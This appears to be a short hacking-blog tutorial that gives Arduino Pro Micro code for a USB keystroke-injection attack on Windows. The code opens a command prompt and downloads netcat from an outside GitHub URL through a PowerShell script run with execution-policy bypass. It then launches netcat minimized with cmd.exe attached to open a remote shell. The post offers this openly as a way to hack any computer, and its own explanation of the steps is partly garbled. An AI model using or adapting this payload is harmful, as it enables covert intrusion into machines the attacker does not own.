Hack any Computer with Arduino
Welcome back guyz,
Today we will look into the most widely asked topic on how to hack computer by just plugging in USB.
The device Hackers use for this will be called Rubber-Ducky. But we will look to more advanced stuff using Arduino Pro Micro board.
So you may be wondering in this step why I'm using Pro Micro board and not other board like UNO, NodeMCU and all. The reason is simple, those boards are not compatible with keyboard module which helps in automatic keyboard strokes on your Computer. Other boards which you use will be Arduino Leonardo, Arduino Mini. You can search in google whether it is comptible or not.
So, lets look into the code first.
Code:
#include <Keyboard.h>
void setup()
{
Keyboard.begin();
delay(100);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press("r");
Keyboard.releaseAll();
delay(1000);
Keyboard.print("cmd");
typeKey(KEY_RETURN);
delay(1000);
Keyboard.print("cd / & mkdir win & cd win & echo (wget 'https://github.com/int0x33/nc.exe/raw/master/nc64.exe' -o host64.exe) > linuxCmdlets.ps1 & powershell -ExecutionPolicy ByPass -File linuxCmdlets.ps1");
typeKey(KEY_RETURN);
delay(3000);
Keyboard.print("START /MIN host64.exe -e cmd.exe -d & exit");
// background : start /b
typeKey(KEY_RETURN);
}
void typeKey(int key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void loop() {}
Now, what this code will do is, It will first open RUN window on Windows and type "cmd" and it will press Enter. And then it will download NetCat file which is uploaded in github. After downloading the file will be in exe format, So it will convert it to ps1 format by giving necessary privileges. All this process will be done in minimized.This is how you can create simple reverse shell using Arduino board.That's all for today hope you guys enjoyed it.
Post a Comment